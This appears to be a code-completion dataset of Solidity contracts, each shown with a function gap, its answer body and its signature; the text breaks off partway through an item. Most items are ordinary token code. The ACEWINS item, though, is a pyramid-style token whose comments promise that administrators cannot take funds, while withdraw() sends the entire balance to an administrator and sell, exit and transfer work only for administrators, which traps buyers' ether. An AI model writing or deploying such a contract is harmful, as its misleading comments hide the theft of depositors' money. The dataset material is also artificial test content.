function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external
58351
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender ; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender ; } modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) public onlyOwner
function transferOwnership(address newOwner) public onlyOwner
51815
TokenImpl
TokenImpl
contract TokenImpl is MintableToken { string public name; string public symbol; // how many token units a buyer gets per ether uint256 public rate; uint256 public decimals = 5; uint256 private decimal_num = 100000; // the target token ERC20Basic public targetToken; uint256 public exchangedNum; event Exchanged(address _owner, uint256 _value); function TokenImpl(string _name, string _symbol, uint256 _decimals) public {<FILL_FUNCTION_BODY> } /** * @dev exchange tokens of _exchanger. */ function exchange(address _exchanger, uint256 _value) internal { require(canExchange()); uint256 _tokens = (_value.mul(rate)).div(decimal_num); targetToken.transfer(_exchanger, _tokens); exchangedNum = exchangedNum.add(_value); Exchanged(_exchanger, _tokens); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (_to == address(this) || _to == owner) { exchange(msg.sender, _value); } return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool) { if (_to == address(this) || _to == owner) { exchange(msg.sender, _value); } return super.transfer(_to, _value); } function balanceOfTarget(address _owner) public view returns (uint256 targetBalance) { if (targetToken != address(0)) { return targetToken.balanceOf(_owner); } else { return 0; } } function canExchangeNum() public view returns (uint256) { if (canExchange()) { uint256 _tokens = targetToken.balanceOf(this); return (decimal_num.mul(_tokens)).div(rate); } else { return 0; } } function updateTargetToken(address _target, uint256 _rate) onlyOwner public { rate = _rate; targetToken = ERC20Basic(_target); } function canExchange() public view returns (bool) { return targetToken != address(0) && rate > 0; } }
contract TokenImpl is MintableToken { string public name; string public symbol; // how many token units a buyer gets per ether uint256 public rate; uint256 public decimals = 5; uint256 private decimal_num = 100000; // the target token ERC20Basic public targetToken; uint256 public exchangedNum; event Exchanged(address _owner, uint256 _value); <FILL_FUNCTION> /** * @dev exchange tokens of _exchanger. */ function exchange(address _exchanger, uint256 _value) internal { require(canExchange()); uint256 _tokens = (_value.mul(rate)).div(decimal_num); targetToken.transfer(_exchanger, _tokens); exchangedNum = exchangedNum.add(_value); Exchanged(_exchanger, _tokens); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (_to == address(this) || _to == owner) { exchange(msg.sender, _value); } return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool) { if (_to == address(this) || _to == owner) { exchange(msg.sender, _value); } return super.transfer(_to, _value); } function balanceOfTarget(address _owner) public view returns (uint256 targetBalance) { if (targetToken != address(0)) { return targetToken.balanceOf(_owner); } else { return 0; } } function canExchangeNum() public view returns (uint256) { if (canExchange()) { uint256 _tokens = targetToken.balanceOf(this); return (decimal_num.mul(_tokens)).div(rate); } else { return 0; } } function updateTargetToken(address _target, uint256 _rate) onlyOwner public { rate = _rate; targetToken = ERC20Basic(_target); } function canExchange() public view returns (bool) { return targetToken != address(0) && rate > 0; } }
name = _name; symbol = _symbol; decimals = _decimals; decimal_num = 10 ** decimals; paused = true;
function TokenImpl(string _name, string _symbol, uint256 _decimals) public
function TokenImpl(string _name, string _symbol, uint256 _decimals) public
80673
StandardToken
decreaseApproval
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); emit Approval(_from, msg.sender, allowed[_from][msg.sender]); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {<FILL_FUNCTION_BODY> } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); emit Approval(_from, msg.sender, allowed[_from][msg.sender]); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> }
uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool)
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool)
33889
ACEWINS
myDividends
contract ACEWINS { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators_[_customerAddress]); _; } // // prevents contracts from interacting with ACE WINS // modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); require(_addr == tx.origin); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier founderAccess(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; if (launchTime <= now){ onlyFounders = false; } // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyFounders && ((totalEthereumBalance() - _amountOfEthereum) <= founderQuota_ )){ require( // is the customer in the founder list? founders_[_customerAddress] == true && // does the customer purchase exceed the max founder quota? (founderAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= founderMaxPurchase_ ); // updated the accumulated quota founderAccumulatedQuota_[_customerAddress] = SafeMath.add(founderAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the founder phase won't reinitiate onlyFounders = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "ACEWINS.COM"; string public symbol = "ACE"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 20; // 20% to enter uint8 constant internal exitFeeHigh_ = 80; // 80% to exit (on the first day) uint8 constant internal exitFeeLow_ = 20; // 20% to exit (after the 5th day) uint8 constant internal transferFee_ = 10; // 10% transfer fee uint8 constant internal refferalFee_ = 33; // 33% from enter fee divs or 6.6% for each invite uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether; uint256 constant internal magnitude = 2**64; uint256 constant public launchTime = 1571000400; //2100 UTC October 22 // proof of stake (defaults at 25 tokens) uint256 public stakingRequirement = 25e18; // founder program mapping(address => bool) internal founders_; uint256 constant internal founderMaxPurchase_ = 2 ether; uint256 constant internal founderQuota_ = 20 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal founderAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators_; // when this is set to true, only founders can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyFounders = false; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor() public { // add administrators here administrators_[msg.sender] = true; founders_[msg.sender] = true; //launchTime = block.timestamp; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() onlyAdministrator() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyAdministrator() public { // setup data msg.sender.transfer(address(this).balance); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyAdministrator() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = exitFee(_ethereum); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum); emit Transfer(msg.sender, 0x0, _amountOfTokens); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyAdministrator() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until founder phase is over // ( we dont want whale premines ) // ( administrator still can distribute tokens to founders and promoters) require((!onlyFounders || administrators_[_customerAddress]) && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); // founders and promoters get tokens directly from developers with minimal fee if (now < launchTime) _tokenFee = 1000000000000000000; uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event emit Transfer(_customerAddress, _toAddress, _taxedTokens); emit Transfer(_customerAddress, 0x0, _tokenFee); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the founder phase. */ function disableInitialStage() onlyAdministrator() public { // no way to launch the game sooner onlyFounders = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators_[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return address(this).balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) {<FILL_FUNCTION_BODY> } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = exitFee(_ethereum); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = exitFee(_ethereum); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { // data setup uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _amountOfTokens = ethereumToTokens_(SafeMath.sub(_incomingEthereum, _undividedDividends)); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != msg.sender && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[msg.sender] += _updatedPayouts; // // fire event emit onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy); emit Transfer(address(this), msg.sender, _amountOfTokens); return _amountOfTokens; } function addFounder(address _newFounder) onlyAdministrator() public { founders_[_newFounder] = true; } function multiAddFounder(address[] memory _founders) public onlyAdministrator() { for (uint256 i = 0; i < _founders.length; i++) { founders_[_founders[i]] = true; } } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } function getTime() public returns(uint256) { return block.timestamp; } /** * Calculate the current exit fee. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function exitFee(uint256 _amount) internal view returns (uint256) { uint256 fee = (800000 - 20000 * (now - launchTime) / (1 days)) * _amount / 1000000; // allowed range if (fee < _amount * exitFeeLow_ * 1000 / 100000) { fee = _amount * exitFeeLow_ * 1000 / 100000; } if (fee > _amount * exitFeeHigh_ * 1000 / 100000) { fee = _amount * exitFeeHigh_ * 1000 / 100000; } return fee; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
contract ACEWINS { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators_[_customerAddress]); _; } // // prevents contracts from interacting with ACE WINS // modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); require(_addr == tx.origin); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier founderAccess(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; if (launchTime <= now){ onlyFounders = false; } // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyFounders && ((totalEthereumBalance() - _amountOfEthereum) <= founderQuota_ )){ require( // is the customer in the founder list? founders_[_customerAddress] == true && // does the customer purchase exceed the max founder quota? (founderAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= founderMaxPurchase_ ); // updated the accumulated quota founderAccumulatedQuota_[_customerAddress] = SafeMath.add(founderAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the founder phase won't reinitiate onlyFounders = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "ACEWINS.COM"; string public symbol = "ACE"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 20; // 20% to enter uint8 constant internal exitFeeHigh_ = 80; // 80% to exit (on the first day) uint8 constant internal exitFeeLow_ = 20; // 20% to exit (after the 5th day) uint8 constant internal transferFee_ = 10; // 10% transfer fee uint8 constant internal refferalFee_ = 33; // 33% from enter fee divs or 6.6% for each invite uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether; uint256 constant internal magnitude = 2**64; uint256 constant public launchTime = 1571000400; //2100 UTC October 22 // proof of stake (defaults at 25 tokens) uint256 public stakingRequirement = 25e18; // founder program mapping(address => bool) internal founders_; uint256 constant internal founderMaxPurchase_ = 2 ether; uint256 constant internal founderQuota_ = 20 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal founderAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators_; // when this is set to true, only founders can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyFounders = false; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor() public { // add administrators here administrators_[msg.sender] = true; founders_[msg.sender] = true; //launchTime = block.timestamp; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() onlyAdministrator() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyAdministrator() public { // setup data msg.sender.transfer(address(this).balance); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyAdministrator() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = exitFee(_ethereum); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum); emit Transfer(msg.sender, 0x0, _amountOfTokens); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyAdministrator() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until founder phase is over // ( we dont want whale premines ) // ( administrator still can distribute tokens to founders and promoters) require((!onlyFounders || administrators_[_customerAddress]) && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); // founders and promoters get tokens directly from developers with minimal fee if (now < launchTime) _tokenFee = 1000000000000000000; uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event emit Transfer(_customerAddress, _toAddress, _taxedTokens); emit Transfer(_customerAddress, 0x0, _tokenFee); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the founder phase. */ function disableInitialStage() onlyAdministrator() public { // no way to launch the game sooner onlyFounders = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators_[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return address(this).balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } <FILL_FUNCTION> /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * 